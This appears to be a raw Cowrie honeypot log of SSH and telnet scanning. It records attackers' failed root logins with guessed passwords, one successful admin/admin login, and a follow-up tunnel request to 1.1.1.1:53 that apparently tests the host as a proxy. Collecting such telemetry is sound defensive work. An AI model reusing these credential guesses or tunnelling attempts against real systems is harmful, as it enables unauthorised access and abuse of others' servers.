{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:41:00:5a:7b:b5:ed:ed:43:11:1b:9d:ed:10:be:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbicADy21HY9jB/6JkX5VWlpn9ESQR5piRUxVRPFQ8RlSjnhd9b+NTsGmzfKgDBjQ9jhMDv1AtdNUV1e2397yj++H3Mr2JCVA3gO14j14w93bQtjv7D48qWvq63TgkgJmeeX6YcGU/g8R1rurtOgBOIlBuc9QeumyR1bUixqfKKe2cKN6SzTvP8ky2xNLK7q9DAy5DKrfsCJiTnhy+vaaf5EP3YFl31okMWrrE+mXgdOaaODD5S0Y03nDLInpRBGGfmjSEYugPmVe5O9O+9o/cgq+fBlKODjhOOrrB4ar7luOqXQu2VsFsCgP5458sDTP/8HZMwcq1z1HyIMRq5Ai9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.232563Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:25:df:75:cc:ba:c4:06:04:bf:39:9a:1e:43:cd:f6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICMcdkI6SC9WEYafd+ftpmE1tGqXiCNkUSjvl+K9sPD3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b3:25:df:75:cc:ba:c4:06:04:bf:39:9a:1e:43:cd:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.303480Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:25:df:75:cc:ba:c4:06:04:bf:39:9a:1e:43:cd:f6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICMcdkI6SC9WEYafd+ftpmE1tGqXiCNkUSjvl+K9sPD3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.307393Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.376421Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33430,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ab8e709c75e","protocol":"ssh","message":"New connection: 80.94.92.184:33430 (10.17.0.5:22) [session: 5ab8e709c75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:48.339464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:48.629275Z","src_ip":"80.94.92.184","session":"5ab8e709c75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:48.634510Z","src_ip":"80.94.92.184","session":"5ab8e709c75e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:50.998594Z","src_ip":"80.94.92.184","session":"5ab8e709c75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":34252,"dst_ip":"159.203.135.109","dst_port":23,"session":"d52bc75bed44","protocol":"telnet","message":"New connection: 213.108.3.46:34252 (159.203.135.109:23) [session: d52bc75bed44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:51.107611Z"}
{"eventid":"cowrie.session.closed","duration":0.01694798469543457,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:51.124467Z","src_ip":"213.108.3.46","session":"d52bc75bed44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:52.252352Z","src_ip":"80.94.92.184","session":"5ab8e709c75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35786,"dst_ip":"10.17.0.5","dst_port":22,"session":"28cf019f6c04","protocol":"ssh","message":"New connection: 194.113.233.25:35786 (10.17.0.5:22) [session: 28cf019f6c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:53.036565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:53.044587Z","src_ip":"194.113.233.25","session":"28cf019f6c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:53.134735Z","src_ip":"194.113.233.25","session":"28cf019f6c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"585858","message":"login attempt [root/585858] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:53.411559Z","src_ip":"194.113.233.25","session":"28cf019f6c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:54.504249Z","src_ip":"194.113.233.25","session":"28cf019f6c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":38164,"dst_ip":"10.17.0.5","dst_port":22,"session":"53e24bbff04e","protocol":"ssh","message":"New connection: 79.3.96.178:38164 (10.17.0.5:22) [session: 53e24bbff04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:22.546078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:22.552006Z","src_ip":"79.3.96.178","session":"53e24bbff04e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:22.685110Z","src_ip":"79.3.96.178","session":"53e24bbff04e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jrecalde","message":"login attempt [root/jrecalde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:23.252666Z","src_ip":"79.3.96.178","session":"53e24bbff04e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:24.387669Z","src_ip":"79.3.96.178","session":"53e24bbff04e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60406,"dst_ip":"10.17.0.5","dst_port":23,"session":"19025cc5d4d0","protocol":"telnet","message":"New connection: 152.42.224.71:60406 (10.17.0.5:23) [session: 19025cc5d4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:37.782858Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":36742,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4614a14aab2","protocol":"ssh","message":"New connection: 103.183.114.55:36742 (10.17.0.5:22) [session: e4614a14aab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:42.431280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:42.435769Z","src_ip":"103.183.114.55","session":"e4614a14aab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:42.664069Z","src_ip":"103.183.114.55","session":"e4614a14aab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"336699","message":"login attempt [root/336699] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:43.357649Z","src_ip":"103.183.114.55","session":"e4614a14aab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:44.589003Z","src_ip":"103.183.114.55","session":"e4614a14aab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.91975474357605,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:48.702525Z","src_ip":"152.42.224.71","session":"19025cc5d4d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":40264,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fbbd3e151aa","protocol":"ssh","message":"New connection: 103.27.238.120:40264 (159.203.135.109:22) [session: 2fbbd3e151aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:56.911000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:56.914568Z","src_ip":"103.27.238.120","session":"2fbbd3e151aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:57.176946Z","src_ip":"103.27.238.120","session":"2fbbd3e151aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia2000","message":"login attempt [root/nokia2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:57.965613Z","src_ip":"103.27.238.120","session":"2fbbd3e151aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:04:59.234621Z","src_ip":"103.27.238.120","session":"2fbbd3e151aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":60872,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e8f5aca5afe","protocol":"ssh","message":"New connection: 38.93.206.2:60872 (10.17.0.5:22) [session: 1e8f5aca5afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:28.301582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:28.306714Z","src_ip":"38.93.206.2","session":"1e8f5aca5afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:28.357730Z","src_ip":"38.93.206.2","session":"1e8f5aca5afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z123456789","message":"login attempt [root/z123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:28.593161Z","src_ip":"38.93.206.2","session":"1e8f5aca5afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:29.669735Z","src_ip":"38.93.206.2","session":"1e8f5aca5afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30226,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af120293a06","protocol":"ssh","message":"New connection: 87.251.64.176:30226 (10.17.0.5:22) [session: 9af120293a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:34.034974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:34.093042Z","src_ip":"87.251.64.176","session":"9af120293a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:34.134686Z","src_ip":"87.251.64.176","session":"9af120293a06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:34.555518Z","src_ip":"87.251.64.176","session":"9af120293a06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:34.731158Z","session":"9af120293a06","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:05:34.840576Z","src_ip":"87.251.64.176","session":"9af120293a06","protocol":"ssh"}
